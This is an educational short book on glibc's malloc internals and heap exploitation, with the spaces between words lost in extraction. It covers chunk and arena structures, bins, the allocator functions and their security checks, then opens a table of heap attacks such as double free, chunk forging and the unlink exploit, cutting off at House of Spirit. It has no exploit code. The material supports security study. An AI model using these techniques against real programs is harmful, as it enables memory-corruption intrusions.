table of contents · understanding glibc malloc understanding the heap by breaking it before moving...
TRANSCRIPT
1.1
1.2
1.3
1.4
1.5
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.6
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.7
TableofContentsPreface
Author
Introduction
HeapMemory
Divingintoglibcheap
malloc_chunk
malloc_state
BinsandChunks
InternalFunctions
CoreFunctions
SecurityChecks
HeapExploitation
FirstFit
DoubleFree
Forgingchunks
UnlinkExploit
ShrinkingFreeChunks
HouseofSpirit
HouseofLore
HouseofForce
HouseofEinherjar
SecureCodingGuidelines
2
HeapExploitationThisshortbookiswrittenforpeoplewhowanttounderstandtheinternalsof'heapmemory',particularlytheimplementationofglibc's'malloc'and'free'procedures,andalsoforsecurityresearcherswhowanttogetstartedinthefieldofheapexploitation.
Thefirstsectionofthebookcoversanin-depth,yetconcise,descriptionaboutheapinternals.Thesecondsectioncoverssomeofthemostfamousattacks.Itisassumedthatthereaderisunfamiliarwiththistopic.Forexperiencedreaders,thistextmightbegoodforaquickrevision.
Thisisnotthefinalversionandwillkeeponupdating.Forcontributingseethis.ThesourcecodeforthebookcanbefoundonGitHub.ThecanonicalURLforthebookishttps://heap-exploitation.dhavalkapil.com.Youcansubscribeforupdatesonthebookwebsite.
Readforfreeonline(recommended)ordownloadthePDForePUBorMobi/Kindleeditions.
YoucansupportthisbookbydonatingonGratipay.
ThisworkislicensedunderaCreativeCommonsAttribution-ShareAlike4.0InternationalLicense.
Preface
3
AuthorIamDhavalKapil,alsoknownas'vampire'.Iamasoftwaresecurityenthusiast,alwaysreadinguportryingtofindvulnerabilitiesineverydaysoftware.I'llbegraduatingfromIndianInstituteofTechnologyRoorkee(IITRoorkee)inComputerSciencethisyear.IwaspartofSDSLabs,whereIdevelopedBackdoor.I'llbejoiningGeorgiaTechasaMaster'sstudentthisfall.SoftwaredevelopmentismyhobbyandI'vealsocompletedtheGoogleSummerofCodeprogramtwice.FindmeonGithubandTwitter.
Thisbookstartedoutasanarticleformyblog.Eventually,alotofmatterfilledinandittransformedintoashortbook.Theseareacollectionofmynotes,gatheredbylookingupvariousonlineresourcesregardingheapandheapexploitation.
Author
4
IntroductionThisbookisforunderstandingthestructureofheapmemoryaswellasthedifferentkindsofexploitationtechniquesrelatedtoit.Thematerialprovidedcoversindetailtheimplementationofglibc'sheapandrelatedmemorymanagementfunctions.Next,differenttypesofattacksarediscussed.
PrerequisitesItisassumedthatthereaderisunfamiliarabouttheinternalsofstandardlibraryproceduressuchas'malloc'and'free'.However,basicknowledgeabout'C'andoverflowingthebufferisrequired.Thesecanbecoveredinthisblogpost.
SetupAlltheprogramsprovidedinthefollowingsectionsworkwellwithPOSIXcompatiblemachines.Onlytheimplementationofglibc'sheapisdiscussed.
Introduction
5
Heapmemory
WhatisHeap?Heapisamemoryregionallottedtoeveryprogram.Unlikestack,heapmemorycanbedynamicallyallocated.Thismeansthattheprogramcan'request'and'release'memoryfromtheheapsegmentwheneveritrequires.Also,thismemoryisglobal,i.e.itcanbeaccessedandmodifiedfromanywherewithinaprogramandisnotlocalizedtothefunctionwhereitisallocated.Thisisaccomplishedusing'pointers'toreferencedynamicallyallocatedmemorywhichinturnleadstoasmalldegradationinperformanceascomparedtousinglocalvariables(onthestack).
Usingdynamicmemorystdlib.hprovideswithstandardlibraryfunctionstoaccess,modifyandmanagedynamicmemory.Commonlyusedfunctionsincludemallocandfree:
//Dynamicallyallocate10bytes
char*buffer=(char*)malloc(10);
strcpy(buffer,"hello");
printf("%s\n",buffer);//prints"hello"
//Frees/unallocatesthedynamicmemoryallocatedearlier
free(buffer);
Thedocumentationabout'malloc'and'free'says:
malloc:
HeapMemory
6
/*
malloc(size_tn)
Returnsapointertoanewlyallocatedchunkofatleastn
bytes,ornullifnospaceisavailable.Additionally,on
failure,errnoissettoENOMEMonANSICsystems.
Ifniszero,mallocreturnsaminimum-sizedchunk.(The
minimumsizeis16bytesonmost32bitsystems,and24or32
byteson64bitsystems.)Onmostsystems,size_tisanunsigned
type,socallswithnegativeargumentsareinterpretedas
requestsforhugeamountsofspace,whichwilloftenfail.The
maximumsupportedvalueofndiffersacrosssystems,butisin
allcaseslessthanthemaximumrepresentablevalueofa
size_t.
*/
free:
/*
free(void*p)
Releasesthechunkofmemorypointedtobyp,thathadbeen
previouslyallocatedusingmallocorarelatedroutinesuchas
realloc.Ithasnoeffectifpisnull.Itcanhavearbitrary
(i.e.,bad!)effectsifphasalreadybeenfreed.
Unlessdisabled(usingmallopt),freeingverylargespaceswill
whenpossible,automaticallytriggeroperationsthatgive
backunusedmemorytothesystem,thusreducingprogram
footprint.
*/
Itisimportanttonotethatthesememoryallocationfunctionsareprovidedbythestandardlibrary.Thesefunctionsprovidealayerbetweenthedeveloperandtheoperatingsystemthatefficientlymanagesheapmemory.Itistheresponsibilityofthedeveloperto'free'anyallocatedmemoryafterusingitexactlyonce.Internally,thesefunctionsusetwosystemcallssbrkandmmaptorequestandreleaseheapmemoryfromtheoperatingsystem.Thispostdiscussesthesesystemcallsindetail.
HeapMemory
7
DivingintoglibcheapInthissection,implementationofglibc'sheapmanagementfunctionswillbediscussedindepth.Theanalysiswasdoneonglibc'ssourcecodedated27thMarch2017.Thesourceisverywelldocumented.
Apartfromthesourcecode,thematterpresentedisinfluencedby:
UnderstandingglibcmallocUnderstandingtheheapbybreakingit
Beforemovingintotheimplementation,itisimportanttokeepthefollowingnotesinmind:
1. Insteadofsize_t,INTERNAL_SIZE_Tisusedinternally(whichbydefaultisequaltosize_t).
2. Alignmentisdefinedas2*(sizeof(size_t)).
3. MORECOREisdefinedastheroutinetocalltoobtainmorememory.Bydefaultitisdefinedassbrk.
Next,weshallstudythedifferentdatatypesusedinternally,bins,chunks,andinternalsofthedifferentfunctionsused.
AdditionalResources1. r2Con2016GlibcHeapAnalysiswithradare2video
Divingintoglibcheap
8
malloc_chunkThisstructurerepresentsaparticularchunkofmemory.Thevariousfieldshavedifferentmeaningforallocatedandunallocatedchunks.
structmalloc_chunk{
INTERNAL_SIZE_Tmchunk_prev_size;/*Sizeofpreviouschunk(iffree).*/
INTERNAL_SIZE_Tmchunk_size;/*Sizeinbytes,includingoverhead.*/
structmalloc_chunk*fd;/*doublelinks--usedonlyiffree.*/
structmalloc_chunk*bk;
/*Onlyusedforlargeblocks:pointertonextlargersize.*/
structmalloc_chunk*fd_nextsize;/*doublelinks--usedonlyiffree.*/
structmalloc_chunk*bk_nextsize;
};
typedefstructmalloc_chunk*mchunkptr;
Allocatedchunk
chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofpreviouschunk,ifunallocated(Pclear)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofchunk,inbytes|A|M|P|
mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Userdatastartshere....
..
.(malloc_usable_size()bytes).
.|
nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|(sizeofchunk,butusedforapplicationdata)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofnextchunk,inbytes|A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Noticehowthedataofanallocatedchunkusesthefirstattribute(mchunk_prev_size)ofthenextchunk.memisthepointerwhichisreturnedtotheuser.
Freechunk
malloc_chunk
9
chunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofpreviouschunk,ifunallocated(Pclear)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:'|Sizeofchunk,inbytes|A|0|P|
mem->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Forwardpointertonextchunkinlist|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Backpointertopreviouschunkinlist|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Unusedspace(maybe0byteslong).
..
.|
nextchunk->+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:'|Sizeofchunk,inbytes|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Sizeofnextchunk,inbytes|A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Freechunksmaintainthemselvesinacirculardoublylinkedlist.
P(PREV_INUSE):0whenpreviouschunk(notthepreviouschunkinthelinkedlist,buttheonedirectlybeforeitinmemory)isfree(andhencethesizeofpreviouschunkisstoredinthefirstfield).Theveryfirstchunkallocatedhasthisbitset.Ifitis1,thenwecannotdeterminethesizeofthepreviouschunk.
M(IS_MMAPPED):Thechunkisobtainedthroughmmap.Theothertwobitsareignored.mmappedchunksareneitherinanarena,notadjacenttoafreechunk.
A(NON_MAIN_ARENA):0forchunksinthemainarena.Eachthreadspawnedreceivesitsownarenaandforthosechunks,thisbitisset.
Note:Chunksinfastbinsaretreatedasallocatedchunksinthesensethattheyarenotconsolidatedwithneighboringfreechunks.
malloc_chunk
10
malloc_stateThisstructurerepresentstheheaderdetailsofanArena.Themainthread'sarenaisaglobalvariableandnotpartoftheheapsegment.Arenaheaders(malloc_statestructures)forotherthreadsarethemselvesstoredintheheapsegment.Nonmainarenascanhavemultipleheaps('heap'herereferstotheinternalstructureusedinsteadoftheheapsegment)associatedwiththem.
structmalloc_state
{
/*Serializeaccess.*/
__libc_lock_define(,mutex);
/*Flags(formerlyinmax_fast).*/
intflags;
/*Fastbins*/
mfastbinptrfastbinsY[NFASTBINS];
/*Baseofthetopmostchunk--nototherwisekeptinabin*/
mchunkptrtop;
/*Theremainderfromthemostrecentsplitofasmallrequest*/
mchunkptrlast_remainder;
/*Normalbinspackedasdescribedabove*/
mchunkptrbins[NBINS*2-2];
/*Bitmapofbins*/
unsignedintbinmap[BINMAPSIZE];
/*Linkedlist*/
structmalloc_state*next;
/*Linkedlistforfreearenas.Accesstothisfieldisserialized
byfree_list_lockinarena.c.*/
structmalloc_state*next_free;
/*Numberofthreadsattachedtothisarena.0ifthearenaison
thefreelist.Accesstothisfieldisserializedby
free_list_lockinarena.c.*/
INTERNAL_SIZE_Tattached_threads;
/*Memoryallocatedfromthesysteminthisarena.*/
INTERNAL_SIZE_Tsystem_mem;
INTERNAL_SIZE_Tmax_system_mem;
};
typedefstructmalloc_state*mstate;
malloc_state
11
malloc_state
12
BinsandChunksAbinisalist(doublyorsinglylinkedlist)offree(non-allocated)chunks.Binsaredifferentiatedbasedonthesizeofchunkstheycontain:
1. Fastbin2. Unsortedbin3. Smallbin4. Largebin
Fastbinsaremaintainedusing:
typedefstructmalloc_chunk*mfastbinptr;
mfastbinptrfastbinsY[];//Arrayofpointerstochunks
Unsorted,smallandlargebinsaremaintainedusingasinglearray:
typedefstructmalloc_chunk*mchunkptr;
mchunkptrbins[];//Arrayofpointerstochunks
Initially,duringtheinitializationprocess,smallandlargebinsareempty.
Eachbinisrepresentedbytwovaluesinthebinsarray.Thefirstoneisapointertothe'HEAD'andthesecondoneisapointertothe'TAIL'ofthebinlist.Inthecaseoffastbins(singlylinkedlist),thesecondvalueisNULL.
FastbinsThereare10fastbins.Eachofthesebinsmaintainsasinglelinkedlist.Additionanddeletionhappenfromthefrontofthislist(LIFOmanner).
Eachbinhaschunksofthesamesize.The10binseachhavechunksofsizes:16,24,32,40,48,56,64,72,80and88.Sizesmentionedhereincludemetadataaswell.Tostorechunks,4fewerbyteswillbeavailable(onaplatformwherepointersuse4bytes).Onlytheprev_sizeandsizefieldofthischunkwillholdmetadataforallocatedchunks.prev_sizeofnextcontiguouschunkwillholduserdata.
Notwocontiguousfreefastchunkscoalescetogether.
BinsandChunks
13
UnsortedbinThereisonly1unsortedbin.Smallandlargechunks,whenfreed,endupinthisbin.Theprimarypurposeofthisbinistoactasacachelayer(kindof)tospeedupallocationanddeallocationrequests.
SmallbinsThereare62smallbins.Smallbinsarefasterthanlargebinsbutslowerthanfastbins.Eachbinmaintainsadoubly-linkedlist.Insertionshappenatthe'HEAD'whileremovalshappenatthe'TAIL'(inaFIFOmanner).
Likefastbins,eachbinhaschunksofthesamesize.The62binshavesizes:16,24,...,504bytes.
Whilefreeing,smallchunksmaybecoalescedtogetherbeforeendingupinunsortedbins.
LargebinsThereare63largebins.Eachbinmaintainsadoubly-linkedlist.Aparticularlargebinhaschunksofdifferentsizes,sortedindecreasingorder(i.e.largestchunkatthe'HEAD'andsmallestchunkatthe'TAIL').Insertionsandremovalshappenatanypositionwithinthelist.
Thefirst32binscontainchunkswhichare64bytesapart:
1stbin:512-568bytes2ndbin:576-632bytes..
Tosummarize:
No.ofBinsSpacingbetweenbins
64binsofsize8[Smallbins]
32binsofsize64[Largebins]
16binsofsize512[Largebins]
8binsofsize4096[..]
4binsofsize32768
2binsofsize262144
1binofsizewhat'sleft
BinsandChunks
14
Likesmallchunks,whilefreeing,largechunksmaybecoalescedtogetherbeforeendingupinunsortedbins.
Therearetwospecialtypesofchunkswhicharenotpartofanybin.
TopchunkItisthechunkwhichbordersthetopofanarena.Whileservicing'malloc'requests,itisusedasthelastresort.Ifstillmoresizeisrequired,itcangrowusingthesbrksystemcall.ThePREV_INUSEflagisalwayssetforthetopchunk.
LastremainderchunkItisthechunkobtainedfromthelastsplit.Sometimes,whenexactsizechunksarenotavailable,biggerchunksaresplitintotwo.Onepartisreturnedtotheuserwhereastheotherbecomesthelastremainderchunk.
BinsandChunks
15
InternalfunctionsThisisalistofsomecommonfunctionsusedinternally.Notethatsomefunctionsareinfactdefinedusingthe#definedirective.So,changestocallparametersareinfactretainedafterthecall.Also,itisassumedthatMALLOC_DEBUGisnotset.
arena_get(ar_ptr,size)Acquiresanarenaandlocksthecorrespondingmutex.ar_ptrissettopointtothecorrespondingarena.sizeisjustahintastohowmuchmemorywillberequiredimmediately.
sysmalloc[TODO]
/*
sysmallochandlesmalloccasesrequiringmorememoryfromthesystem.
Onentry,itisassumedthatav->topdoesnothaveenough
spacetoservicerequestfornbbytes,thusrequiringthatav->top
beextendedorreplaced.
*
voidalloc_perturb(char*p,size_tn)Ifperturb_byte(tunableparameterformallocusingM_PERTURB)isnon-zero(bydefaultitis0),setsthenbytespointedtobyptobeequaltoperturb_byte^0xff.
voidfree_perturb(char*p,size_tn)Ifperturb_byte(tunableparameterformallocusingM_PERTURB)isnon-zero(bydefaultitis0),setsthenbytespointedtobyptobeequaltoperturb_byte.
voidmalloc_init_state(mstateav)
InternalFunctions
16
/*
Initializeamalloc_statestruct.
Thisiscalledonlyfromwithinmalloc_consolidate,whichneeds
becalledinthesamecontextsanyway.Itisnevercalleddirectly
outsideofmalloc_consolidatebecausesomeoptimizingcompilerstry
toinlineitatallcallpoints,whichturnsoutnottobean
optimizationatall.(Inliningitinmalloc_consolidateisfinethough.)
*/
1. Fornonfastbins,createemptycircularlinkedlistsforeachbin.2. SetFASTCHUNKS_BITflagforav.3. Initializeav->toptothefirstunsortedchunk.
unlink(AV,P,BK,FD)Thisisadefinedmacrowhichremovesachunkfromabin.
1. Checkifchunksizeisequaltotheprevioussizesetinthenextchunk.Else,anerror("corruptedsizevs.prev_size")isthrown.
2. CheckifP->fd->bk==PandP->bk->fd==P.Else,anerror("corrupteddouble-linkedlist")isthrown.
3. Adjustforwardandbackwardpointersofneighboringchunks(inlist)tofacilitateremoval:i. SetP->fd->bk=P->bk.ii. SetP->bk->fd=P->fd.
voidmalloc_consolidate(mstateav)Thisisaspecializedversionoffree().
1. Chechifglobal_max_fastis0(avnotinitialized)ornot.Ifitis0,callmalloc_init_statewithavasparameterandreturn.
2. Ifglobal_max_fastisnon-zero,cleartheFASTCHUNKS_BITforav.3. Iterateonthefastbinarrayfromfirsttolastindices:
i. Getalockonthecurrentfastbinchunkandproceedifnotnull.ii. Ifpreviouschunk(bymemory)isnotinuse,callunlinkonthepreviouschunk.iii. Ifnextchunk(bymemory)isnottopchunk:
i. Ifnextchunkisnotinuse,callunlinkonthenextchunk.ii. Mergethechunkwithprevious,next(bymemory),ifanyisfree,andthenadd
theconsolidatedchunktotheheadofunsortedbin.
InternalFunctions
17
iv. Ifnextchunk(bymemory)wasatopchunk,mergethechunksappropriatelyintoasingletopchunk.
Note:Thecheckfor'inuse'isdoneusingPREV_IN_USEflag.Hence,otherfastbinchunkswon'tidentifiedasfreehere.
InternalFunctions
18
Corefunctions
void*_int_malloc(mstateav,size_tbytes)1. Updatesbytestotakecareofalignments,etc.2. ChecksifavisNULLornot.3. Inthecaseofabsenceofusablearena(whenavisNULL),callssysmalloctoobtain
chunkusingmmap.Ifsuccessful,callsalloc_perturb.Returnsthepointer.4.
Ifsizefallsinthefastbinrange:
i. Getindexintothefastbinarraytoaccessanappropriatebinaccordingtotherequestsize.
ii. Removesthefirstchunkinthatbinandmakevictimpointtoit.iii. IfvictimisNULL,moveontothenextcase(smallbin).iv. IfvictimisnotNULL,checkthesizeofthechunktoensurethatitbelongsto
thatparticularbin.Anerror("malloc():memorycorruption(fast)")isthrownotherwise.
v. Callsalloc_perturbandthenreturnsthepointer.Ifsizefallsinthesmallbinrange:
i. Getindexintothesmallbinarraytoaccessanappropriatebinaccordingtotherequestsize.
ii. Iftherearenochunksinthisbin,moveontothenextcase.Thisischeckedbycomparingthepointersbinandbin->bk.
iii. victimismadeequaltobin->bk(thelastchunkinthebin).IfitisNULL(happensduringinitialization),callmalloc_consolidateandskipthiscompletestepofcheckingintodifferentbins.
iv. Otherwise,whenvictimisnonNULL,checkifvictim->bk->fdandvictimareequalornot.Iftheyarenotequal,anerror("malloc():smallbindoublelinkedlistcorrupted")isthrown.
v. SetsthePREV_INSUSEbitforthenextchunk(inmemory,notinthedoublylinkedlist)forvictim.
vi. Removethischunkfromthebinlist.vii. Settheappropriatearenabitforthischunkdependingonav.viii. Callsalloc_perturbandthenreturnsthepointer.Ifsizedoesnotfallinthesmallbinrange:
i. Getindexintothelargebinarraytoaccessanappropriatebinaccordingtothe
CoreFunctions
19
requestsize.ii. Seeifavhasfastchunksornot.Thisisdonebycheckingthe
FASTCHUNKS_BITinav->flags.Ifso,callmalloc_consolidateonav.5. Ifnopointerhasyetbeenreturned,thissignifiesoneormoreofthefollowingcases:
i. Sizefallsinto'fastbin'rangebutnofastchunkisavailable.ii. Sizefallsinto'smallbin'rangebutnosmallchunkisavailable(calls
malloc_consolidateduringinitialization).iii. Sizefallsinto'largbin'range.
6. Next,unsortedchunksarecheckedandtraversedchunksareplacedintobins.Thisistheonlyplacewherechunksareplacedintobins.Iteratetheunsortedbinfromthe'TAIL'.
i. victimpointstothecurrentchunkbeingconsidered.ii. Checkifvictim'schunksizeiswithinminimum(2*SIZE_SZ)andmaximum(av-
>system_mem)range.Throwanerror("malloc():memorycorruption")otherwise.iii. If(sizeofrequestedchunkfallsinsmallbinrange)and(victimisthelast
remainderchunk)and(itistheonlychunkintheunsortedbin)and(thechunkssize>=theonerequested):Breakthechunkinto2chunks:
Thefirstchunkmatchesthesizerequestedandisreturned.Leftoverchunkbecomesthenewlastremainderchunk.Itisinsertedbackintotheunsortedbin.i. Setchunk_sizeandchunk_prev_sizefieldsappropriatelyforbothchunks.
ii. Thefirstchunkisreturnedaftercallingalloc_perturb.iv. Iftheaboveconditionisfalse,controlreacheshere.Removevictimfromthe
unsortedbin.Ifthesizeofvictimmatchesthesizerequestedexactly,returnthischunkaftercallingalloc_perturb.
v. Ifvictim'ssizefallsinsmallbinrange,addthechunkintheappropriatesmallbinattheHEAD.
vi. Elseinsertintoappropriatelargebinwhilemaintainingsortedorder:Firstchecksthelastchunk(smallest).Ifvictimissmallerthanthelastchunk,insertitatthelast.Otherwise,looptofindachunkwithsize>=sizeofvictim.Ifsizeisexactlysame,alwaysinsertinthesecondposition.
vii. RepeatthiswholestepamaximumofMAX_ITERS(10000)timesortillallchunksinunsortedbingetexhausted.
7. Aftercheckingunsortedchunks,checkifrequestedsizedoesnotfallinthesmallbinrange,ifsothenchecklargebins.
i. Getindexintolargebinarraytoaccessanappropriatebinaccordingtotherequestsize.
CoreFunctions
20
ii. Ifthesizeofthelargestchunk(thefirstchunkinthebin)isgreaterthanthesizerequested:i. Iteratefrom'TAIL'tofindachunk(victim)withthesmallestsize>=therequestedsize.
ii. Callunlinktoremovethevictimchunkfromthebin.iii. Calculateremainder_sizeforthevictim'schunk(thiswillbevictim's
chunksize-requestedsize).iv. Ifthisremainder_size>=MINSIZE(theminimumchunksizeincludingthe
headers),splitthechunkintotwochunks.Otherwise,theentirevictimchunkwillbereturned.Inserttheremainderchunkintheunsortedbin(atthe'TAIL'end).Acheckismadeinunsortedbinwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av).Anerroristhrownotherwise("malloc():corruptedunsortedchunks").
v. Returnthevictimchunkaftercallingalloc_perturb.8. Tillnow,wehavecheckedunsortedbinandalsotherespectivefast,smallorlargebin.
Notethatasinglebin(fastorsmall)wascheckedusingtheexactsizeoftherequestedchunk.Repeatthefollowingstepstillallbinsareexhausted:
i. Theindexintobinarrayisincrementedtocheckthenextbin.ii. Useav->binmapmaptoskipoverbinsthatareempty.iii. victimispointedtothe'TAIL'ofthecurrentbin.iv. Usingthebinmapensuresthatifabinisskipped(intheabove2ndstep),itis
definitelyempty.However,itdoesnotensurethatallemptybinswillbeskipped.Checkifthevictimisemptyornot.Ifempty,againskipthebinandrepeattheaboveprocess(or'continue'thisloop)tillwearriveatanonemptybin.
v. Splitthechunk(victimpointstothelastchunkofanonemptybin)intotwochunks.Inserttheremainderchunkinunsortedbin(atthe'TAIL'end).Acheckismadeintheunsortedbinwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av).Anerroristhrownotherwise("malloc():corruptedunsortedchunks2").
vi. Returnthevictimchunkaftercallingalloc_perturb.9. Ifstillnoemptybinisfound,'top'chunkwillbeusedtoservicetherequest:
i. victimpointstoav->top.ii. Ifsizeof'top'chunk>='requestedsize'+MINSIZE,splititintotwochunks.Inthis
case,theremainderchunkbecomesthenew'top'chunkandtheotherchunkisreturnedtotheuseraftercallingalloc_perturb.
iii. Seeifavhasfastchunksornot.ThisisdonebycheckingtheFASTCHUNKS_BITinav->flags.Ifso,callmalloc_consolidateonav.Returntostep6(wherewecheckunsortedbin).
iv. Ifavdoesnothavefastchunks,callsysmallocandreturnthepointerobtained
CoreFunctions
21
aftercallingalloc_perturb.
__libc_malloc(size_tbytes)1. Callsarena_gettogetanmstatepointer.2. Calls_int_mallocwiththearenapointerandthesize.3. Unlocksthearena.4. Beforereturningthepointertothechunk,oneofthefollowingshouldbetrue:
ReturnedpointerisNULLChunkisMMAPPEDArenaforchunkisthesameastheonefoundin1.
_int_free(mstateav,mchunkptrp,inthave_lock)1. Checkwhetherpisbeforep+chunksize(p)inthememory(toavoidwrapping).An
error("free():invalidpointer")isthrownotherwise.2. CheckwhetherthechunkisatleastofsizeMINSIZEoramultipleofMALLOC_ALIGNMENT.
Anerror("free():invalidsize")isthrownotherwise.3. Ifthechunk'ssizefallsinfastbinlist:
i. Checkifnextchunk'ssizeisbetweenminimumandmaximumsize(av->system_mem),throwanerror("free():invalidnextsize(fast)")otherwise.
ii. Callsfree_perturbonthechunk.iii. SetFASTCHUNKS_BITforav.iv. Getindexintofastbinarrayaccordingtochunksize.v. Checkifthetopofthebinisnotthechunkwearegoingtoadd.Otherwise,throw
anerror("doublefreeorcorruption(fasttop)").vi. Checkifthesizeofthefastbinchunkatthetopisthesameasthechunkweare
adding.Otherwise,throwanerror("invalidfastbinentry(free)").vii. Insertthechunkatthetopofthefastbinlistandreturn.
4. Ifthechunkisnotmmapped:i. Checkifthechunkisthetopchunkornot.Ifyes,anerror("doublefreeorcorruption(top)")isthrown.
ii. Checkwhethernextchunk(bymemory)iswithintheboundariesofthearena.Ifnot,anerror("doublefreeorcorruption(out)")isthrown.
iii. Checkwhethernextchunk's(bymemory)previousinusebitismarkedornot.Ifnot,anerror("doublefreeorcorruption(!prev)")isthrown.
iv. Checkwhetherthesizeofnextchunkisbetweentheminimumandmaximumsize
CoreFunctions
22
(av->system_mem).Ifnot,anerror("free():invalidnextsize(normal)")isthrown.v. Callfree_perturbonthechunk.vi. Ifpreviouschunk(bymemory)isnotinuse,callunlinkonthepreviouschunk.vii. Ifnextchunk(bymemory)isnottopchunk:
i. Ifnextchunkisnotinuse,callunlinkonthenextchunk.ii. Mergethechunkwithprevious,next(bymemory),ifanyisfreeandadditto
theheadofunsortedbin.Beforeinserting,checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)ornot.Ifnot,anerror("free():corruptedunsortedchunks")isthrown.
viii. Ifnextchunk(bymemory)wasatopchunk,mergethechunksappropriatelyintoasingletopchunk.
5. Ifthechunkwasmmapped,callmunmap_chunk.
__libc_free(void*mem)1. ReturnifmemisNULL.2. Ifthecorrespondingchunkismmapped,callmunmap_chunkifthedynamicbrk/mmap
thresholdneedsadjusting.3. Getarenapointerforthatcorrespondingchunk.4. Call_int_free.
CoreFunctions
23
SecurityChecksThispresentsasummaryofthesecuritychecksintroducedinglibc'simplementationtodetectandpreventheaprelatedattacks.
Function SecurityCheck Error
unlink Whetherchunksizeisequaltotheprevioussizesetinthenextchunk(inmemory)
corruptedsizevs.prev_size
unlink WhetherP->fd->bk==PandP->bk->fd==P*corrupteddouble-linkedlist
_int_mallocWhileremovingthefirstchunkfromfastbin(toserviceamallocrequest),checkwhetherthesizeofthechunkfallsinfastchunksizerange
malloc():memorycorruption(fast)
_int_mallocWhileremovingthelastchunk(victim)fromasmallbin(toserviceamallocrequest),checkwhethervictim->bk->fdandvictimareequal
malloc():smallbindoublelinkedlistcorrupted
_int_mallocWhileiteratinginunsortedbin,checkwhethersizeofcurrentchunkiswithinminimum(2*SIZE_SZ)andmaximum(av->system_mem)range
malloc():memorycorruption
_int_mallocWhileinsertinglastremainderchunkintounsortedbin(aftersplittingalargechunk),checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)
malloc():corruptedunsortedchunks
_int_mallocWhileinsertinglastremainderchunkintounsortedbin(aftersplittingafastorasmallchunk),checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)
malloc():corruptedunsortedchunks2
_int_free Checkwhetherp**isbeforep+chunksize(p)inthememory(toavoidwrapping)
free():invalidpointer
_int_free CheckwhetherthechunkisatleastofsizeMINSIZEoramultipleofMALLOC_ALIGNMENT
free():invalidsize
_int_freeForachunkwithsizeinfastbinrange,checkifnextchunk'ssizeisbetweenminimumandmaximumsize(av->system_mem)
free():invalidnextsize(fast)
_int_free Whileinsertingfastchunkintofastbin(atHEAD),checkwhetherthechunkalreadyatHEADisnotthesame
doublefreeorcorruption(fasttop)
SecurityChecks
24
_int_freeWhileinsertingfastchunkintofastbin(atHEAD),checkwhethersizeofthechunkatHEADissameasthechunktobeinserted
invalidfastbinentry(free)
_int_freeIfthechunkisnotwithinthesizerangeoffastbinandneitheritisammappedchunks,checkwhetheritisnotthesameasthetopchunk
doublefreeorcorruption(top)
_int_free Checkwhethernextchunk(bymemory)iswithintheboundariesofthearena
doublefreeorcorruption(out)
_int_free Checkwhethernextchunk's(bymemory)previousinusebitismarked
doublefreeorcorruption(!prev)
_int_free Checkwhethersizeofnextchunkiswithintheminimumandmaximumsize(av->system_mem)
free():invalidnextsize(normal)
_int_freeWhileinsertingthecoalescedchunkintounsortedbin,checkwhetherunsorted_chunks(av)->fd->bk==unsorted_chunks(av)
free():corruptedunsortedchunks
*:'P'referstothechunkbeingunlinked
**:'p'referstothechunkbeingfreed
SecurityChecks
25
HeapExploitationTheglibclibraryprovidesfunctionssuchasfreeandmalloctohelpdevelopersmanagetheheapmemoryaccordingtotheirusecases.Itistheresponsibilityofthedeveloperto:
freeanymemoryhe/shehasobtainedusingmalloc.Donotfreethesamememorymorethanonce.Ensurethatmemoryusagedoesnotgobeyondtheamountofmemoryrequested,inotherterms,preventheapoverflows.
Failingtodomakesthesoftwarevulnerabletovariouskindsofattacks.Shellphish,afamousCapturetheFlagteamfromUCSantaBarbara,hasdoneagreatjobinlistingavarietyofheapexploitationtechniquesinhow2heap.Attacksdescribedin"TheMallocMaleficarum"by"PhantasmalPhantasmagoria"inanemailtothe"Bugtraq"mailinglistarealsodescribed.
Asummaryoftheattackshasbeendescribedbelow:
Attack Target Technique
FirstFit Thisisnotanattack,itjustdemonstratesthenatureofglibc'sallocator ---
DoubleFree
Makingmallocreturnanalreadyallocatedfastchunk
Disruptthefastbinbyfreeingachunktwice
Forgingchunks
Makingmallocreturnanearlyarbitrarypointer
Disruptingfastbinlinkstructure
UnlinkExploit Getting(nearly)arbitrarywriteaccess Freeingacorruptedchunk
andexploitingunlink
ShrinkingFree
Chunks
Makingmallocreturnachunkoverlappingwithanalreadyallocated
chunk
Corruptingafreechunkbydecreasingitssize
HouseofSpirit
